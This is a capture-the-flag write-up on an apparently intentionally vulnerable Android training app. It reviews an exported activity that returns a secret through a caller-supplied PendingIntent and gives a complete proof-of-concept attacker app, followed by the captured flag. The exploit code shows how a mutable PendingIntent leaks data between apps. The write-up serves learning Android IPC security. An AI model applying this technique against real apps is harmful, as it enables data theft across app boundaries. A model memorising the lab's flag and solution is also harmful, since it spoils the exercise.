Static Analysis

AndroidManifest.xml

Upon inspecting the Flag22Activity in the AndroidManifest.xml file we see the following

<activity  
	android:name="io.hextree.attacksurface.activities.Flag22Activity"  
	android:exported="true">

Since exported is set to true we can call this activity from our exploit apk, let’s review the code to see how can we get the flag

Flag22Activity Class

public class Flag22Activity extends AppCompactActivity {  
    public Flag22Activity() {  
        this.name = "Flag 22 - Receive pending intent";  
        this.tag = "PendingIntent";  
        this.tagColor = R.color.red;  
        this.flag = "TOVqB4voTI5Mo5VFynHunFNx6P1SCzoVLvEk5KvxFF7XMChBKfo2o5SwfeEicTd7";  
    }  
  
    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity  
    protected void onCreate(Bundle bundle) {  
        super.onCreate(bundle);  
        this.f = new LogHelper(this);  
        PendingIntent pendingIntent = (PendingIntent) getIntent().getParcelableExtra("PENDING");  
        if (pendingIntent != null) {  
            try {  
                Intent intent = new Intent();  
                intent.getExtras();  
                intent.putExtra("success", true);  
                this.f.addTag(intent);  
                intent.putExtra("flag", this.f.appendLog(this.flag));  
                pendingIntent.send(this, 0, intent);  
                success(null, this);  
            } catch (Exception e) {  
                e.printStackTrace();  
            }  
        }  
    }  
}

Upon reviewing the code we see that the success condition is fairly simple, if (pendingIntent != null), if this condition is true the activity adds the flag extra containing the flag in pendingIntent then runs this intent

Creating POC

Flag22.java

In the first part we check if the coming intent contains the Extra called flag if so print it We then create the returnIntent which points back to us, this intent is then put into the pendingIntent that has FLAG_MUTABLE which allows other apps to edit this intent, Finally we put the pendingIntent into the attackIntent and send it to the Flag22Activity to get the flag

public class Flag22 extends AppCompatActivity {
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_flag22);
        getSupportActionBar().setTitle("Flag 22");
        
        // --------- Printing the flag if the incoming intent contains the flag ------------ //
        if (getIntent().getStringExtra("flag") != null) {
            Log.v("Flag22", "Recieved the flag: " + getIntent().getStringExtra("flag"));
        }
        // -------- The button to send the intent containing the pending intent ----------- //
        Button button = findViewById(R.id.button_flag22);
        button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.v("HEXTREE", "Going to flag 22 activity");
                // 1. Create an Intent that points back to YOUR app (Flag22)
                Intent returnIntent = new Intent(Flag22.this, Flag22.class);
                // The returnIntent can be set using the method below
                /*Intent returnIntent = new Intent();
                returnIntent.setComponent(new ComponentName("anan.tensai.ias_attacker", "anan.tensai.ias_attacker.Flag22"));
                */
 
                // 2. Wrap it in a PendingIntent.
                // MUST be MUTABLE so the victim can add the "flag" extra to it.
                PendingIntent pending = PendingIntent.getActivity(
                        Flag22.this,
                        0,
                        returnIntent,
                        PendingIntent.FLAG_MUTABLE
                );
 
                // 3. Create the intent to launch the vulnerable app
                Intent attackIntent = new Intent();
                attackIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag22Activity"));
                attackIntent.putExtra("PENDING", pending);
 
                // 4. Fire!
                startActivity(attackIntent);
            }
        });
    }
}

Flag

HXT{received-mutable-flags-xa81b}